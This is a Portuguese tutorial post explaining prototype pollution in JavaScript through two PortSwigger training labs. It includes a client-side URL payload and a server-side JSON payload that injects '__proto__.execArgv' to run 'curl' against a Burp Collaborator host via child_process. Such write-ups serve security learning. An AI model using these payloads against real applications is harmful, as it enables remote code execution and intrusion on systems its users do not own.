Introdução a Prototype Pollution

Prototype Pollution é uma falha bastante superestimada, sendo nada mais e nada menos do que uma falha que ocorre no Prototype de um objeto. Neste artigo, será explicado como a falha funciona, em sua base, e como pode ser explorada.

O que é Prototype Pollution?

Prototype Pollution é uma vulnerabilidade comumente localizada no JavaScript que consiste em permitir que um atacante consiga adicionar propriedades arbitrárias a um objeto global da aplicação, que pode ser herdado de objetos de dentro da mesma.

Caso uma aplicação manipule, de forma insegura, uma propriedade manipulada por um atacante, pode acabar escalando a outras vulnerabilidades. Se o mesmo for encontrado no client-side, normalmente leva a DOM XSS, enquanto que no server-side pode levar até um RCE(Remote Code Execution).

Como Prototype Pollution surge?

A partir de um objeto que esteja sendo tratado de forma insegura pela aplicação e o usuário possa modificar sua propriedade __proto__ ou acessar alguma outra que, de forma recursiva, chegue a propriedade __proto__, podemos localizar um prototype pollution. Um exemplo disso é o código abaixo:

let usuario = {nome: "Doka", apelido:"DokaPivotado"}
console.log(usuario.toString())
//output: "[object Object]"

usuario.__proto__.toString = ()=>{alert("XSS VIA Prototype Pollution")}
console.log(usuario.toString())
// Alert Box Pop up: "XSS VIA Prototype Pollution"

Através de um objeto criado para guardar um nome e um apelido, é possível resgatarmos um método dele: “.toString()”. Quando modificamos o __proto__ do método .toString() temos uma poluição no prototype do objeto.

Para ficar mais claro, trarei um cenário um pouco mais real. Analisaremos um laboratório da portswigger, onde o objetivo é triggar um DOM XSS através da poluição no prototype de um objeto.

LAB — Client-Side

Primeiramente, autenticaremos no sistema, para poder verificar mais funcionalidades, com as seguintes credenciais fornecidas: “wiener:peter”.

Após isso, podemos voltar a página inicial e testar o seguinte payload na URL para identificação do Prototype Pollution client-side:

?__proto__[qualquer_propriedade]=alguma_coisa

Após adicionarmos isto, abriremos o console para poder checar se a propriedade qualquer_propriedade foi criada dentro do objeto global da aplicação Object digitando no console o seguinte, “Object.__proto__.qualquer_propriedade”.

E, pronto! Temos uma poluição no prototype do objeto global da aplicação, podendo, desta forma, criar um DOM XSS através da propriedade transport_url, que não está definida nesta aplicação e está refletida na página.

Neste laboratório, vimos como identificar, de forma simples, um vetor de prototype pollution. Para não ficarmos presos somente ao client-side, será adicionado mais um laboratório, também da portswigger, onde o vetor a ser explorado será no server-side.

LAB — Server-Side

Neste lab, iremos localizar um vetor para explorar esta falha, porém, ao invés de ser por url ou qualquer outro lugar que afete somente client-side, devemos afetar o servidor diretamente.

Bom, iniciando o laboratório, vemos uma página comum de home e uma de login. Autenticando com as credenciais recebidas, é possível ver um painel administrativo e campos de endereços para entrega de algo.

Após usar a funcionalidade de manutenção de serviços na página Admin, vemos, através das ferramentas de desenvolvedor do navegador, que ela possui 2 tasks rodando. Uma chamada “db-cleanup” e outra “fs-cleanup”, ambas rodam comandos no servidor.

Agora que já sabemos que existem comandos que interagem diretamente com a aplicação, podemos voltar para página “My account” e verificar a funcionalidade daqueles campos que havíamos visto.

Ao enviarmos os dados do campo clicando em “Submit”, com o BurpSuite aberto para analisar como está sendo enviado, observa-se que os seguintes dados estão em JSON.

Request

POST /my-account/change-address HTTP/2
Host: 0ab1000c038665f3808ea8a900fe00d0.web-security-academy.net
Cookie: session=0eEBuDh11fp59n4MMzsajbkadEWg5b6j
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Content-Type: application/json;charset=UTF-8

{
  "address_line_1":"Wiener HQ",
  "address_line_2":"One Wiener Way",
  "city":"Wienerville","postcode":"BU1 1RP",
  "country":"UK",
  "sessionId":"0eEBuDh11fp59n4MMzsajbkadEWg5b6j"
}

Reponse

HTTP/2 200 OK
X-Powered-By: Express
Cache-Control: no-store
Content-Type: application/json; charset=utf-8
Etag: W/"c4-o1d3jaxaEdwNnwhzORq6DYSiPxI"
Date: Wed, 19 Apr 2023 11:26:07 GMT
Keep-Alive: timeout=5
X-Frame-Options: SAMEORIGIN
Content-Length: 196

{
  "username":"wiener",
  "firstname":"Peter",
  "lastname":"Wiener",
  "address_line_1":"Wiener HQ",
  "address_line_2":"One Wiener Way",
  "city":"Wienerville",
  "postcode":"BU1 1RP",
  "country":"UK",
  "isAdmin":true
}

Utilizando o BurpSuite, enviaremos esse request para o repeater e testaremos a criação de mais um campo neste JSON.

Legal, podemos criar campos nesta aplicação! A partir daqui, se dermos um “Submit” na página “My account” novamente, o novo campo criado estará lá.

Beleza, mas e agora? Agora, vamos tentar criar mais um campo, mas, desta vez, será com prototype.

Como vê, foi criado um campo através do prototype de um objeto da aplicação, objeto esse que é executado pelo servidor ao rodar a manutenção de serviços no painel Admin também. 

Após essa descoberta, podemos tentar colocar algum código para execução neste prototype, afinal, temos uma funcionalidade que executa esse objeto no servidor. Mas antes de colocarmos um código, precisa-se saber qual linguagem está rodando no servidor, e isso é fácil! Na request passada, o servidor entrega pra gente, pelo response, o que está rodando nele: “Express”.

Sabendo que a aplicação está em um servidor NodeJS, basta pesquisar ou, até mesmo, criar um payload para ser executado. Sendo assim, neste laboratório, será usado o seguinte:

--eval=require('child_process').execSync('curl http://burpcollaborator.com')

Caso possua o BurpSuite Pro, pode usar esse payload para testar se o servidor realmente está executando o comando ao realizar a manutenção, caso contrário, pode subir um servidor em sua máquina através do ngrok mesmo, o resultado será o mesmo. Após isso, basta ir no painel Admin e rodar a manutenção.

O JSON ficaria assim:

{
  "address_line_1":"Wiener HQ",
  "address_line_2":"One Wiener Way",
  "city":"Wienerville",
  "postcode":"BU1 1RP",
  "country":"UK",
  "sessionId":"0eEBuDh11fp59n4MMzsajbkadEWg5b6j",
  "novo_campo":"novo_campo",
  "__proto__":{
    "execArgv":[
      "--eval=require('child_process').execSync('curl http://burpcollaborator.com')"
  ]
}

Feito a checagem, só falta executar o que o lab está pedindo, que é remover o arquivo “/home/carlos/morale.txt” do servidor.

Com o comando pronto para uso, basta repetir o processo da checagem.

Laboratório resolvido!

Parando pra pensar, nem é tão complicado assim, não é?

Bom, foi isso! Espero que tenham gostado e que tenha dado para entender 🙂
Um ótimo dia, uma ótima tarde e uma ótima noite a todos que leram!


Referências

What is prototype pollution? | Web Security Academy
Prototype pollution is a JavaScript vulnerability that enables an attacker to add arbitrary properties to global object…portswigger.net

Hunting for Prototype Pollution and it’s vulnerable code on JS libraries
It’s been months since I have released ppmap and it didn’t take much for the tool to be popular because of how crazy…infosecwriteups.com

The Complete Guide to Prototype Pollution Vulnerabilities
An in-depth look at Prototype Pollution vulnerabilities and how to mitigate them.www.mend.io

A Pentester’s Guide to Prototype Pollution Attacks
Prototype pollution is a security vulnerability that allows attackers to exploit JavaScript runtimes. In this attack…www.cobalt.io